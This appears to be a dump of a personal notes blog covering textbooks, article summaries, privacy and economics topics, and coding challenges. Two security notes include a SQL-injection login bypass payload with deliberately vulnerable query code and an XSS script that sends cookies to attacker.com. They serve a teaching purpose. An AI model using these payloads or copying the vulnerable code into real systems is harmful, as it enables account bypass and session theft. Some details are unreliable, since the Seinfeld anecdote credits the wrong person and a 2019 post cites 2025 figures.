AT&T: None of these allegations were ever proved in court. We were fully prepared to defend ourselves, but decided settling was in the best interests of consumers.

To-Do List (Intermediate)

Sun, 03 Nov 2019 00:00:00 +0000

Description

Link to original Reddit submission

Thanks for that list you made me, my thoughts are way more organised!

I’ve got a few problems though that I thought you might be able to help with? Sometimes I put the wrong information in a list item. Maybe to prevent this I’d be able to modify/update the list item? That’s not the only problem though, when there are 50+ items it gets kind of hard to work my way through. Do you think you could maybe add the ability to categorise my items? Obviously, if I have that, I’d also like to be able to view by category!

Smooshed Morse Code (Intermediate)

Mon, 07 Oct 2019 00:00:00 +0000

Description

Link to original Reddit submission

The challenge is to match a string like .--...-.-.-.....-.--........----.-.-..---.---.--.--.-.-....-..-...-.---..--.----.. to a permutation of the English alphabet that would produce it, e.g. wirnbfzehatqlojpgcvusyxkmd. Note that there may be more than one valid permutation.

Solution

I’m used to problems where the resources are not depleted, e.g. I can use a as many times as I want. The trickiest part was keeping track of the substring indexes.

[ToDo] INFO 270: Calling Bullshit: Data Reasoning in a Digital World

Sun, 01 Sep 2019 00:00:00 +0000

Notes

INFO 270: Calling Bullshit: Data Reasoning in a Digital World. Carl T. Bergstrom; Jevin West. www.callingbullshit.org .

In Search of Influential Academic Publications

Fri, 28 Jun 2019 00:00:00 +0000

I recently downloaded citations data from Aminer . I seek interesting papers to read during my free time [note]. The database has the following structure:

Table	Columns	Remarks
papers	paper_id, title, venue, year, number of citations, abstract	3,079,007 papers from 1936 to 2018
authors	name, appearance order, paper_id	1,766,547 distinct names (out of 9,476,165 names)
paper_references	paper_id, cited_paper_id	25,166,994 references

Approach 1: Citation Count

For one, we can answer that with a SQL query:

SELECT papers.* FROM papers ORDER BY papers.n_citation DESC LIMIT 10;

[ToDo] Algorithms by Jeff Erickson

Sat, 15 Jun 2019 00:00:00 +0000

Introduction; Recursion; Backtracking; Dynamic Programming; Greedy Algorithms; Basic Graph Algorithms; Depth-First Search; Minimum Spanning Trees; Shortest Paths; All-Pairs Shortest Paths; Maximum Flows & Minimum Cuts; Applications of Flows and Cuts; NP-Hardness.

Fast Fourier Transforms; Fast Exponential Algorithms; Dynamic Programming for Formal Languages and Automata; Advanced Dynamic Programming; Matroids; Balances and Pseudoflows; Minimum-Cost Flows; Linear Programming; Linear Programming Algorithms; Approximation Algorithms.

Discrete Probability; Nuts and Bolts; Treaps and Skip Lists; Tail Inequalities; Hashing; Filtering and Streaming; String Matching; Randomized Minimum Cut; Amortized Analysis; Scapegoat and Splay Trees; Disjoint Sets; Lower Bounds; Adversary Arguments; Proof by Induction; Solving Recurrences.

A Random Walk Down Wall Street [Malkiel, Burton Gordon]

Sat, 01 Jun 2019 00:00:00 +0000

Is Dentistry a Science? [The Atlantic]

Wed, 01 May 2019 00:00:00 +0000

Is Dentistry a Science? Ferris Jabr. www.theatlantic.com . May 1, 2019.

Cochrane Oral Health reviews dental procedures in a systematic manner. Unfortunately, most of the reviews don’t find substantive support for dental interventions.

There is currently no substantive evidence for: binannual cleanings, fluoridation reducing tooth decay in adults; regular flossing combating plaque (gum disease? probably); preventative wisdom teeth removal; tooth-colored resin instead of metal amalgam fillings; crown vs. filling to repair root-canaled tooth.

Online Advertising

Wed, 10 Apr 2019 00:00:00 +0000

Market Snapshot

In 2025, the online advertising marketing size was ~500B. Notables:

North America has the largest revenue share of over 34%.
By platform, mobile leads at 59% of revenue share.
The top 3 are: Google ($214B), Meta ($196B), and Amazon ($68B)

eMarket’s digital ads projection for 2026. Meta is expected to surpass Google for the first time. Didn’t expect to see MSFT so low, and even even, signficantly buoyed by LinkedIn. Also, Pinterest over Reddit is surprising.

The Shady Economics of Buy-One-Get-One Free Deals [The Hustle]

Sun, 17 Feb 2019 00:00:00 +0000

The Shady Economics of Buy-One-Get-One Free Deals. Zachary Crockett. thehustle.co . Feb 17, 2019.

BOGO goods are usually low-demand, non-efficient, lacking in quality and/or close to the expiration date. The BOGO deal is usually a 50% discount off of the manufacturer’s suggested retail price (MSRP). And oftentimes, this price is artificially marked up to begin with.

MyPillow offered BOGO deal on their pillows, but really just doubled the price of the first pillow.

Law of diminishing marginal utility: consumers will buy two of something when the word ‘free’ is involved, even when they only need one — and the second item often ends up in the trash.

Facebook Monetizing Encrypted Messaging by Analyzing Metadata [Twitter]

Fri, 25 Jan 2019 00:00:00 +0000

Facebook Monetizing Encrypted Messaging by Analyzing Metadata. @SarahJamieLewis. twitter.com . Jan 25, 2019.

Claim: FB will track relationships and social groups and make that information accessible to law enforcement. FB is a corporation that needs to make money; surveillance makes them money.

Contention: Actual privacy and security must protect metadata as well as content.

Cwtch by OpenPrivacy aims to minimize metadata exposed by apps used. It’s built on Tor. Challenges: message latency, server reliability & discovery, (online) first contact problem for key exchange.

Applications for DP

Tue, 22 Jan 2019 00:00:00 +0000

DP in the 2020 US Census

Scenario:

Census bureau releases mean household income by block
$N - 1$ households in a block can work together to infer the outcome of household $N$

Solution:

Define $i_{max}$, the hypothetical maximum income
To protect outliers (like Jeff and Bill) clip their values to $i_{max}$ before computing the mean
Add noise to mean income that’s proportional to $i_{max} / \epsilon$

Building Intuition About DP

Tue, 22 Jan 2019 00:00:00 +0000

Scenario

Researcher wants to estimate percentage of HIV positive individuals.
Survey respondents don’t want to disclose HIV status

DP Solution

Each respondent flips answer with probability $p$.

Exercise: show that respondent privacy is protected

Exercise: show that researcher can accurately estimate the quantity of interest

Let $x_i = 1$ if the $i$’th respondent is HIV positive, and zero otherwise. We’re interested in $ S/N $, where $S = \sum_{i=1}^{n}{x_i} $.

Monopolistic Tendencies in the Prescription Glasses Industry

Tue, 22 Jan 2019 00:00:00 +0000

Luxottica - Queen of the Seven Kingdoms

Luxottica owns and licenses Armani, Brooks Brothers, Burberry, Chanel, Coach, DKNY, Dolce & Gabbana, Michael Kors, Oakley, Oliver Peoples, Persol, Polo Ralph Lauren, Ray-Ban, Tiffany, Valentino, Vogue and Versace.

Italy’s Luxottica also runs EyeMed Vision Care, LensCrafters, Pearle Vision, Sears Optical, Sunglass Hut and Target Optical. It also merged with the world’s leading maker of prescription eyeglass lenses and contact lenses, to form EssilorLuxottica.

AoC 2019 Day 02: 1202 Program Alarm

Tue, 08 Jan 2019 00:00:00 +0000

Description

Link to original challenge

On the way to your gravity assist around the Moon, your ship computer beeps angrily about a “1202 program alarm”. On the radio, an Elf is already explaining how to handle the situation: “Don’t worry, that’s perfectly norma–” The ship computer bursts into flames.

You notify the Elves that the computer’s magic smoke seems to have escaped. “That computer ran Intcode programs like the gravity assist program it was working on; surely there are enough spare parts up there to build a new Intcode computer!”

SQL Injection

Sun, 25 Nov 2018 00:00:00 +0000

In a SQL injection attack, the attacker provides malicious form input that is fed into a DB server.

Outcomes may include data deletion, bypassing access control, etc.

Server side code:

results = db.execute(
 "SELECT * FROM Users WHERE user='" + form["user"] + "' " +
 "AND pwd='" + form["pwd"] + "'")

if results: login(results)
else: login_failed(form)

An attacker can supply ' or 1=1 -- as the value for user. This will make the effective code be:

results = db.execute("SELECT * FROM Users WHERE user='' OR 1=1 -- ' AND pwd='')

-- is a comment, which makes the rest of the command be ignored. The expression always returns true and thus the adversary bypasses the authorization check.

You Probably Won't Make it to the Top [DHH]

Thu, 22 Nov 2018 00:00:00 +0000

You Probably Won't Make it to the Top. David Heinemeier Hansson (DHH). m.signalvnoise.com . Nov 22, 2018.

Fallacy: If you really set your mind to it, you can do it… That’s how I did it. I just wanted it more, worked hard, and eventually all my dreams came true. I won’t say it’s easy, but it’s up to you!

Cross-Site Scripting (XSS)

Wed, 21 Nov 2018 00:00:00 +0000

XSS 101

Suppose a site, given a non-existent path, e.g. htpp://victim.com/path, writes this error message:

Error 404! `path` not found.

An attacker can then lead a user to opening http://victim.com/attacker_supplied_string, where attacker_supplied_string is:

<script>
 let addr = "http://attacker.com/?" + escape(document.cookie);
 document.write(`<img src="${addr}" />`);
</script>

Suppose a site uses Force HTTPS. If a <script src="http://..."> is not redirected to a HTTPS url, then an active attacker would still replace the JS code in the HTTP response with the malicious code that would run on the HTTPS page!

Humble Exits [Morgan Housel]

Wed, 24 Oct 2018 00:00:00 +0000

Humble Exits. Morgan Housel. www.collaborativefund.com . Oct 24, 2018.

Jack Welch declined $110m for a 10th season of Seinfeld because he was done with the show. He wanted to end the show on the same kind of peak.

The show was based on recreating real events from his and Larry David’s normal life. They were running out of material because it had been so long since they experienced a normal life.

How Does a Market Work? [CS Colloquia]

Mon, 01 Oct 2018 00:00:00 +0000

Objectives: low latency, high throughput & high reliability.

The messages are quite brief, e.g. the ITCH protocol uses 32 bytes per message.

Trading firm listens to broadcasts on buys, sells, deletes on ITCH broadcasts. Online sorting to identify profitable trades.

Matching engine operates on a first-come-first-served basis. Earlier orders with better price get traded first.

Markets run at 50 microsecond scales.

Single market peaks at 10Gbps. Peaks are correlated, e.g. “Shit! TSLA is burning. Sell!”

Kernighan's Remarks on the Digital Humanities

Mon, 01 Oct 2018 00:00:00 +0000

OCR tends to miss (sometimes) really important context.

Make use of derived data, e.g. age at marriage, gender differences, mortality rates, mapping migrations, last names

Don’t spend all your time cleaning data.

Try a sequence of things, not one big idea.

Don’t expect existing tools to do the whole job. All the while, building new tools is not as straightforward.

Sample Digital Humanities Projects

ORBIS by Stanford . A kayak for the Roman Era.

The Wolf that Tried to Play Nice [SoECS]

Mon, 01 Oct 2018 00:00:00 +0000

AT&T restricted FaceTime from running on some data plans. Justifications?

FaceTime is preloaded, therefore 100% of users have it
FaceTime wasn’t efficient in network usage.
The capacity was asymmetrical, but video chat is symmetrical

Interestingly enough, AT&T required Apple to greenlight it, which they did. AT&T worked with top developers to teach network etiquette.

On DNA Testing

Tue, 18 Sep 2018 00:00:00 +0000

The human genome has sequences of nucleotide base pairs that are repeated over and over again. At each locus of interest, a person has two sets of repeats inherited from each parent. Each possible difference at a locus is an allele. The combinations of the possible differences at multiple loci form a DNA profile that can be used to tie suspects to a crime scene.

The Accuracy of DNA Testing is Wanting

74/108 crime labs erroneously incriminated a suspect during a mock study. The reported match statistic for whether the match was coincidental varied over 100 trillion-fold.

Why Mathematicians Can't Find the Hay in a Haystack [Quanta Magazine]

Mon, 17 Sep 2018 00:00:00 +0000

Why Mathematicians Can’t Find the Hay in a Haystack. Kevin Hartnett. www.quantamagazine.org . Sep 17, 2018.

Irrational numbers occupy most of the number line. If you were to pick a number on the number line at random, there is literally a 100% chance that it will be irrational (probabilities with inifinities are spooky). Yet, we almost never encounter irrational numbers for we can’t write them down.

[ToDo] CS 188: Introduction to Artificial Intelligence

Sat, 01 Sep 2018 00:00:00 +0000

Intro to AI
Uninformed Search
A* Search and Heuristics
CSPs
Game Trees: Minimax
Game Trees: Expectimax, Utilities
MDPs
Reinforcement Learning
Probability

Bayesian Networks

Representation
Inference
Sampling
Decision Networks
HMMs
Particle Filtering and Applications of HMMs

Machine Learning

Naïve Bayes
Perceptrons and Logistic Regression
Optimization
Neural Networks
Decision Trees
Robotics
Language
Vision
Advanced Topics

CS 188: Introduction to Artificial Intelligence. Pieter Abbeel; Dan Klein. inst.eecs.berkeley.edu .

Chege Gitau

Fri, 17 Aug 2018 00:00:00 +0000

I'm a software engineer based in Redmond, Washington. Originally from Githunguri, Kenya. Outside of bytes, I play basketball recreationally.

[Summary] (Morgan Housel) Immeasurably Important

Sun, 01 Jul 2018 00:00:00 +0000

Immeasurably Important. Morgan Housel. www.collaborativefund.com . Jul 5, 2018.

Filtering out information is an art, not a science, necessitated by the information overload that we live in.

Watch out for the tendency to only preserve information that meshes with how we think the world should be.
If you think the world is all art, you miss how much stuff is too complicated to think about intuitively.

If you think the world is all data, you’ll miss how much is too complicated to summarize in a statistic.

IBM Watson's Health Saga

Mon, 25 Jun 2018 00:00:00 +0000

Layoffs at Watson Health Reveal IBM’s Problem with AI. Eliza Strickland. spectrum.ieee.org . news.ycombinator.com . Jun 25, 2018.

Jefferies gives IBM Watson a Wall Street reality check. John Mannes. techcrunch.com . news.ycombinator.com . Jul 13, 2017.

IBM acquired Phytel, Explorys and Truven for their troves of healthcare data and proprietary analytics.

U.S. Files Criminal Charges Against Elizabeth Holmes and Ramesh Balwani [WSJ]

Fri, 15 Jun 2018 00:00:00 +0000

U.S. Files Criminal Charges Against Elizabeth Holmes and Ramesh Balwani. John Carreyrou. www.wsj.com . news.ycombinator.com . Jun 15, 2018.

(Ask HN) Holmes has 200 Patents. If tech didn't work, why not noticed? news.ycombinator.com . Jun 18, 2018.

Theranos Lessons. Morgan Housel. www.collaborativefund.com . Jun 19, 2019.

This CEO is Out for Blood. Roger Parloff. www.fortune.com . news.ycombinator.com . Jun 12, 2014.

Holmes and COO charged with wire fraud. Why risk it?

Corporations budget for corporate fines. Executives don’t have any skin in the game.

[ToDo] Introduction to Applied Linear Algebra: Vectors, Matrices, and Least squares

Thu, 07 Jun 2018 00:00:00 +0000

Vectors
Linear Functions
Norm and Distance
Clustering
Linear Independence
Matrices
Matrix Examples
Linear Equations
Linear Dynamical Systems
Matrix Multiplication
Matrix Inverses
Least Squares
Least Squares Data Fitting
Least Squares Classification
Multi-Objective Least Squares
Constrained Least Squares
Constrained Least Squares Applications
Non-linear Least Squares
Constrained Non-linear Least Squares

Introduction to Applied Linear Algebra: Vectors, Matrices, and Least squares. Stephen Boyd; Lieven Vandenberghe. Stanford University; University of California, Los Angeles. vmls-book.stanford.edu . vmls-book.stanford.edu . Jun 7, 2018.

The Psychology of Money [Morgan Housel]

Fri, 01 Jun 2018 00:00:00 +0000

The Psychology of Money. Morgan Housel. www.collaborativefund.com . Jun 1, 2018.

People underestimate the role played by luck. Given $N$ investors, if $N$ is large enough, a couple of them will luck their way into billions.

But every investor seems to be doing due diligence. The successful ones will be more convinced that their methods really work.

Considering the amount of investing books out there, we should be seeing a lot more Warren Buffets in the world. But that’s not the case. A believer might say those investors just don’t want success enough - if they did, they’d make billions.

An Apology for the Internet - How It Went Wrong [Intelligencer]

Mon, 16 Apr 2018 00:00:00 +0000

An Apology for the Internet - How It Went Wrong. Noah Kulwin. nymag.com . Apr 16, 2018.

Start with hippie good intentions. A generation embracing new technology as a tool to transform the world for good.

Can Duruk: You were going to Facebook not to work but to make the world more open and connected.

Mix in capitalism on steroids. To save the world, you first need to take it over. Turns out the scale and power was also good for making money.

Fermat's Little Theorem (Intermediate)

Fri, 26 Jan 2018 00:00:00 +0000

Description

Link to original challenge

Most introductionary implementations for testing the primality of a number have a time complexity of $ O(\sqrt{n}) $. For large numbers this is not a feasible strategy, for example testing a 400 digit number . Fermat’s Little Theorem states:

If $p$ is a prime number, then for any integer $a$, the number $a^p − a$ is an integer multiple of $p$

Linear Feedback Shift Register (Intermediate)

Mon, 22 Jan 2018 00:00:00 +0000

Description

Link to original problem

In computing, a linear-feedback shift register (LFSR) is a shift register whose input bit is a linear function of its previous state. The most commonly used linear function of single bits is exclusive-or (XOR). Thus, an LFSR is most often a shift register whose input bit is driven by the XOR of some bits of the overall shift register value.

Networks: Friends, Money and Bytes [COS 381]

Wed, 13 Sep 2017 00:00:00 +0000

Probability and Stochastic Systems [ORF 309]

Wed, 13 Sep 2017 00:00:00 +0000

[ToDo] [PHI 313] Theory of Knowledge

Fri, 01 Sep 2017 00:00:00 +0000

PHI 313: Theory of Knowledge, Fall 2017

Notes

Reasons for Belief

Mapping setup/warmup

Practical reasons for belief

Belief at will

Epistemic demands of friendship

The Problem of Disagreement

Steadfast views and conciliatory views

Group disagreement and the problem of spinelessness

Prpblem of contigency

Moral debunking

Reasonable disagreemnt and the uniqueness thesis

Skepticism

Skepticism about the external world

The problem and new riddle of induction

Betting on Things That Never Change [Morgan Housel]

Thu, 20 Jul 2017 00:00:00 +0000

Betting on Things That Never Change. Morgan Housel. www.collaborativefund.com . Jul 20, 2017.

Change by itself is hard. Investors have to spot it before it’s obvious. Consumers have to change their behaviors to make it viable. These two points repel each other.

Sears bet the Internet changed nothing. Beenz bet the Internet changed everything - creating a points-based currency valid only at online merchants. Amazon bet the Internet changed distribution, but rooted its strategy in selection and low prices.

Differential Privacy: A Primer for a Non-technical Audience

Sun, 07 May 2017 00:00:00 +0000

Differential Privacy: A Primer for a Non-technical Audience. Kobbi Nissim; Thomas Steinke; Alexandra Wood; Micah Altman; Aaron Bembenek; Mark Bun; Marco Gaboardi; David R. O'Brien; Salil Vadhan. www.ftc.gov . May 7, 2017.

What Does DP Guarantee?

It is a question of whether a particular computation (not output) preserves privacy.

DP only guarantees that no information specific to an individual is revealed by the computation. DP doesn’t protect against information that could be learned even with an individual opting out of a dataset, e.g. a study that shows smoking increases cancer risk allows us to infer cancer risk for individuals that opted out.

[ToDo] The Elements of Statistical Learning

Fri, 13 Jan 2017 00:00:00 +0000

Introduction
Overview of Supervised Learning
Linear Methods for Regression
Linear Methods for Classification
Basic Expansions and Regularization
Kernel Smoothing Methods
Model Assessment and Selection
Model Inference and Averaging
Additive Models, Trees, and Related Methods
Boosting and Additive Trees
Neural Networks
Support Vector Machines and Flexible Discriminants
Prototype Methods and Nearest-Neighbors
Unsupervised Learning
Random Forests
Ensemble Learning
Undirected Graphical Models
High-Dimensional Problems: $p » N$

The Elements of Statistical Learning: Data Mining, Inference and Prediction. Trevor Hastie; Robert Tibshirani; Jerome Friedman. web.stanford.edu . Jan 13, 2017.

Brainless Slime That Can Learn by Fusing [The Atlantic]

Wed, 21 Dec 2016 00:00:00 +0000

Brainless Slime That Can Learn by Fusing. Ed Yong. www.theatlantic.com . old.reddit.com . Dec 21, 2016.

Building Transit Networks

Can a cell learn? When a part of the plasmodium touches something attractive, e.g. food, it pulses more quickly and widens. If a part meets something repulsive, like light, it pulses more slowly and shrinks.

What is Ergodicity?

Wed, 23 Nov 2016 00:00:00 +0000

A random process is ergodic if all of its statistics can be determined from a sample function of the process. That is, the ensemble averages equal the corresponding time averages with probability one.

Role of Ergodicity in Human Inference

A newspaper has previously printed some inaccurate information, therefore, the newspaper is going to publish inaccurate information in the future. Fair; ensemble of published articles is more or less ergodic.

More crimes are committed by black persons than by white persons, therefore each individual black person is not to be trusted? The ensemble of black people is not at all ergodic!

The Trade of the Century: When George Soros Broke the British Pound [Priceonomics]

Fri, 17 Jun 2016 00:00:00 +0000

The Trade of the Century: When George Soros Broke the British Pound. Rohin Dhar. priceonomics.com . Jun 17, 2016.

Before the EU, Europe had the ERM to fix their exchange rates with the Deutschmark within 6% of the agreed upon rate.

Keeping the exchange rate fixed requires governments to nudge the rate, e.g.

Use reserves of foreign currency to buy up their own currency
Set high interest rates to entice lenders to buy their currency

Margaret Thatcher (PM) opposed the fixed exchange rates but lost the vote to Major, an ERM proponent.

[Summary] (Paul Graham) Life is Short

Fri, 01 Jan 2016 00:00:00 +0000

Life is Short. Paul Graham. www.paulgraham.com . Jan 1, 2016.

Some of it is our own fault (e.g. arguing online). Some of it is forced by circumstances that we choose to endure (e.g. unnecessary meetings at work)

Choosing a bullshit minimizing path is error-prone. Your priorities change over time. Periodically evaluate where you are. It helps to have measurable aspects of your life.

Home

Sun, 26 Apr 2015 00:00:00 +0000

Today the sun is so angry that it has descended a few feet to prove its power. Point noted. I adjust my baseball cap in self-defense.

Similar metaphor in Catheryne Valente’s “The Sin of America” : There’s a woman outside of a town called Sheridan, where the sky comes so near to earth it has to use the crosswalk just like everyone else.

Two people on a farm. The shirtless man ferociously stabs the ground thrice before moving to his right. A girl jovially follows the steps of our warrior, carefully placing two maize seeds and three bean seeds in each wound, and dressing it up with a layer of earth.

[Summary] (Slate Star Codex) No Clarity Around Growth Mindset

Wed, 08 Apr 2015 00:00:00 +0000

No Clarity Around Growth Mindset. Scott Alexander. slatestarcodex.com . Apr 8, 2015.

Growth mindset: people who believe effort - and not ability - determines success are more resilient, skillful, hard-working, perseverant in the face of failure.

Most of the growth mindset experiments prime their subjects, but recent priming experiments have famously failed to replicate. Dweck’s experiment:

Group A: easy test (success) -> final bound-to-fail test
Group B: hard test (told they’re not working hard enough) -> final bound-to-fail test
Group B outperformed Group A. Explanations:
- Dweck: Telling As to work harder made them less helpless.
- Alternative: B’s are used to failing get less flustered than A’s who have been artificially made to succeed.

In Dweck’s work, why do helpless children and the mastery-oriented children always start out performing at the same level? Shouldn’t the fixed-mindset kids already be underperforming? Why do we find enough fixed-mindset students at elite colleges?

[Summary] (Yudkowsky) Letting Go

Sun, 01 Feb 2015 00:00:00 +0000

Rationality: From AI to Zombies: Letting Go. Eliezer Yudkowsky. Feb 1, 2015.

Learn when to admit failure

It’s important to have a watershed moment and acknowledge a fundamental problem, instead of dividing it into palatable bite-size mistakes.

LTCM were exploiting market inefficiencies. Other people learned of the tricks. LTCM didn’t lose hope. They borrowed more and more leverage to exploit tinier and tinier margins.

And their math probably said the leverage was okay. Going belly up was a very unlikely event - according to the model. A systematic blindspot is devastating because we don’t even realize that we might be wrong at a more fundamental level.

[Summary] (SSC) The Parable of the Talents

Sat, 31 Jan 2015 00:00:00 +0000

The Parable of the Talents. Scott Alexander. slatestarcodex.com . Jan 31, 2015.

Overweight people, depressed people, and poor people aren’t fully to blame for their situation – and neither are unintelligent people. It’s accidents of birth all the way down.

Srinivasa Ramanujan:

Grew up in poverty in a one-room house in small-town India.
But a lot of poor people in the US had better conditions/opportunities
- Either, a lot of intelligence is innate
- Or, those poor people are just not trying hard enough.
Ramanujan worked very hard at math, but it seems he couldn’t do this for anything else.
- He dropped out of school because of being made to study non-mathematical subjects.

I excelled at writing and sucked ass at Math despite working hard.

Privacy and Human Behavior in the Age of Information

Fri, 30 Jan 2015 00:00:00 +0000

Privacy and Human Behavior in the Age of Information. A. Acquisti; L. Brandimarte; G. Loewenstein. Science, Vol. 347, Issue 6221, Page 509-514. Jan 30, 2015.

Incomplete and asymmetric information.

People rarely know what info others, firms and govts have about them or how the info is used.

[ToDo] Game Programming Patterns

Mon, 03 Nov 2014 00:00:00 +0000

Introduction

Architecture, Performance and Games

Design Patterns Revisited

Command
Flyweight
Observer
Prototype
Singleton
State

Sequencing Patterns

Double Buffer
Game Loop
Update Method

Behavioral Patterns

Component
Event Queue
Service Locator

Optimization Patterns

Data Locality
Dirty Flag
Object Pool
Spatial Partition

Game Programming Patterns. Nystrom R.. gameprogrammingpatterns.com . Nov 3, 2014.

10,000 Hours +/- 10,000 Hours

Tue, 29 Apr 2014 00:00:00 +0000

10,000 Hours, YMMV

10,000 hours introduced here

10,000 hours has been lauded by popular authors, e.g. Malcolm Gladwel’s Outliers, and Geoff Colvin’s Talent is Overrated. Notably, Ericsson has dismissed the “10,000 hours rule” as misconstruing his positions: genetics play a role; 10,000-hours of deliberate practice is not all that counts.

Most data in support of the 10,000-hours rule has been cross-sectional and retrospective.

A cross-sectional study is a type of observational study that analyzes data from a population (or a representative subset) at a specific point in time.

The Gene-Free Model of Expertise

Tue, 29 Apr 2014 00:00:00 +0000

Reaction Times are Overrated

Elite athletes do not display superior reaction times to those of average people; most hover at 200ms.

However, games are played at speeds where 200ms is too slow, e.g. 100-mph baseballs, 130-mph tennis serves, etc.

A reaction time of less than 100ms is deemed a false start in track and field sprints.

Superior Perception

Athletes outperformed novices when asked if there was a ball in a rapidly flashed slide. Some athletes could even tell the slide’s game!

[ToDo] Mining of Massive Datasets

Sat, 01 Mar 2014 00:00:00 +0000

Data Mining

What is Data Mining?
Statistical Limits of Data Mining
Things Useful to Know
Outline of the book

MapReduce and the New Software Stack

Distributed File Systems
MapReduce
Algorithms Using MapReduce
Extensions to MapReduce
The Communication Cost Model
Complexity Theory for MapReduce

Finding Similar Items

Applications of Near-Neighbor Search
Shingling of Documents
Similarity-Preserving Summaries of Sets
Locality-Sensitive Hashing for Documents
Distance Measures
The Theory of Locality-Sensitive Functions
LSH Families for Other Distance Measures
Applications of Locality-Sensitive Hashing
Methods for High Degrees of Similarity

Mining Data Streams

[ToDo] Think Bayes

Tue, 24 Sep 2013 00:00:00 +0000

Bayes’s Theorem
Computational Statistics
Estimation
More Estimation
Odds and Addends
Decision Analysis
Prediction
Observer Bias
Two Dimensions
Approximate Bayesian Computation
Hypothesis Testing
Evidence
Simulation
A Hierarchical Model
Dealing with Dimensions

Think Bayes. Downey, Allen. proquest.safaribooksonline.com .

[ToDo] CS 97SI: Introduction to Programming Contests

Thu, 01 Dec 2011 00:00:00 +0000

Introduction
Mathematics
Data Structures
Dynamic Programming (DP)
Combinatorial Games
Basic Graph Algorithms
Shortest Path Algorithms
Network Flow Problems
Computational Geometry
String Algorithms
Suffix Arrays

CS 97SI: Introduction to Programming Contests. Jaehyun Park. stanford.edu . 2011.

How Doctors Die [Zocalo]

Wed, 30 Nov 2011 00:00:00 +0000

How Doctors Die. Ken Murray. www.zocalopublicsquare.org . Nov 30, 2011.

Doctors tend to be fairly serene when faced with death themselves. They know enough about modern medicine to know its limits. They go gently into that good night - no heroics; no CPR.

Sometimes, a family really means ‘do everything’, but often they mean ‘do everything that’s reasonable.’ But they may not know what’s reasonable.

[ToDo] Networks, Crowds, and Markets

Thu, 01 Jul 2010 00:00:00 +0000

Overview

Graph Theory and Social Networks

Game Theory

Markets and Strategic Interaction in Networks

Information Networks and the World Wide Web

[ToDo] CS261: Optimization and Algorithmic Paradigms

Fri, 01 Jan 2010 00:00:00 +0000

Approximation algorithms for Vertex Cover and Metric Steiner Tree
Approximation of General Steiner Tree
Versions of the Traveling Salesman Problem. Eulerian loops.
1.5-approximate Algorithm for Metric TSP. The Set Cover Problem.
Introduction to Linear Programming
Linear Programming Duality
Linear Programming Relaxation of Vertex Cover
Linear Programming Relaxation of Set Cover
The Maximum Flow - Minimum Cut Theorem
Maximum Flow Algorithms: Choosing the Fattest Augmenting Path
Edmonds-Karp and Push-Relabel Algorithms
Analysis of the Push-Relabel Algorithm
Algorithms for the Global Min-Cut Problem
Algorithms for Maximum Matching and Vertex Cover in Bipartite Graphs
The Linear Programming Formulation of Maximum Cut and its Dual
Multi-commodity Flows and the Sparsest Cut Problem
Introduction to Online Algorithms
Using Expert Advice

CS261: Optimization and Algorithmic Paradigms. Luca Trevisan. people.eecs.berkeley.edu .

[ToDo] Introduction to Algorithms [CLRS]

Fri, 31 Jul 2009 00:00:00 +0000

Introduction

Mathematical Foundations

Growth of Functions
Summations
Recurrences
Sets, etc.
Counting and Probability

Sorting and Order Statistics

Heapsort
Quicksort
Sorting in Linear Time
Medians and Order Statistics

Data Structures

Elementary Data Structures
Hash Tables
Binary Search Trees
Red-Black Trees
Augmenting Data Structures

Advanced Design and Analysis Techniques

Dynamic Programming
Greedy Algorithms
Amortized Analysis

Advanced Data Structures

B-Trees
Binomial Heaps
Fibonacci Heaps
Data Structures for Disjoint Sets

Graph Algorithms

Elementary Graph Algorithms
Minimum Spanning Trees
Single-Source Shortest Paths
All-Pairs Shortest Paths
Maximum Flow

Selected Topics

[ToDo] An Introduction to Information Retrieval

Wed, 01 Apr 2009 00:00:00 +0000

Boolean retrieval
The term vocabulary & postings lists
Dictionaries and tolerant retrieval
Index construction
Index compression
Scoring, term weighting & the vector space model
Computing scores in a complete search system
Evaluation in information retrieval
Relevance feedback & query expansion
XML retrieval
Probabilistic information retrieval
Language models for information retrieval
Text classification & Naive Bayes
Vector space classification
Support vector machines & machine learning on documents
Flat clustering html
Hierarchical clustering
Matrix decompositions & latent semantic indexing
Web search basics
Web crawling and indexes
Link analysis

An Introduction to Information Retrieval. Christopher D. Manning; Prabhakar Raghavan; Hinrich Schütze. nlp.stanford.edu . Apr 1, 2009.

A Kind Word for Bullshit: The Problem of Academic Writing

Fri, 01 Feb 2008 00:00:00 +0000

Method of Definition: Prototype Semantics

There is a cognitive science view of categorization that says:

Category members need not necessarily share a single set of distinguishing features, and may exhibit features to greater/lesser degrees
Some category members are more typical than others

This reasoning goes against how I mentally picture a category.

Although lies may have identifiable features such as misrepresentation of belief, intent to deceive, falseness and reprehensible motives, not all features are always present, and not all features are equally prominent in every instance.

[ToDo] The Princeton Companion to Mathematics

Tue, 01 Jan 2008 00:00:00 +0000

Notes

Part I Introduction:

✅ What Is Mathematics About?
✅ The Language and Grammar of Mathematics
Some Fundamental Mathematical Definitions
The General Goals of Mathematical Research

Part II The Origins of Modern Mathematics:

From Numbers to Number Systems
Geometry
The Development of Abstract Algebra
Algorithms
The Development of Rigor in Mathematical Analysis
The Development of the Idea of Proof
The Crisis in the Foundations of Mathematics

Part III Mathematical Concepts:

The Princeton Companion to Mathematics [Gowers, Timothy]

Tue, 01 Jan 2008 00:00:00 +0000

The Black Swan [Taleb, Nicholas Nassim]

Tue, 17 Apr 2007 00:00:00 +0000

[ToDo] Pattern Recognition and Machine Learning

Wed, 01 Feb 2006 00:00:00 +0000

Introduction
Probability Distributions
Linear Models for Regression
Linear Models for Classification
Neural Networks
Kernel Methods
Sparse Kernel Machines
Graphical Models
Mixture Models and EM
Approximate Inference
Sampling Methods
Continuous Latent Variables
Sequential Data
Combining Models

Appendix

Data Sets
Probability Distributions
Properties of Matrices
Calculus of Variations
Lagrange Multipliers

Pattern Recognition and Machine Learning. Christopher M. Bishop. www.microsoft.com . Feb 1, 2006.

The Submarine [Paul Graham]

Fri, 01 Apr 2005 00:00:00 +0000

The Submarine. Paul Graham. www.paulgraham.com . Apr 1, 2005.

Many people rely on social proof to form opinions; therein lies the power of PR.

PR firms are not dishonest for they need good reputation with news outlets. But PR firms serve overworked reporters with selective truths.

The firms feed the same story to different publications at once. Readers see similar stories in multiple places and assume a new trend has come.

[ToDo] Concepts, Techniques, and Models of Computer Programming

Thu, 05 Jun 2003 00:00:00 +0000

Introduction

Introduction to Programming Concepts

General Computation Models

Declarative Computation Model
Declarative Programming Techniques
Declarative Concurrency
Message-Passing Concurrency
Explicit State
Object-Oriented Programming
Shared-State Concurrency
Relational Programming

Specialized Computation Models

Graphical User Interface Programming
Distributed Programming
Constraint Programming

Semantics

Language Semantics

Appendices

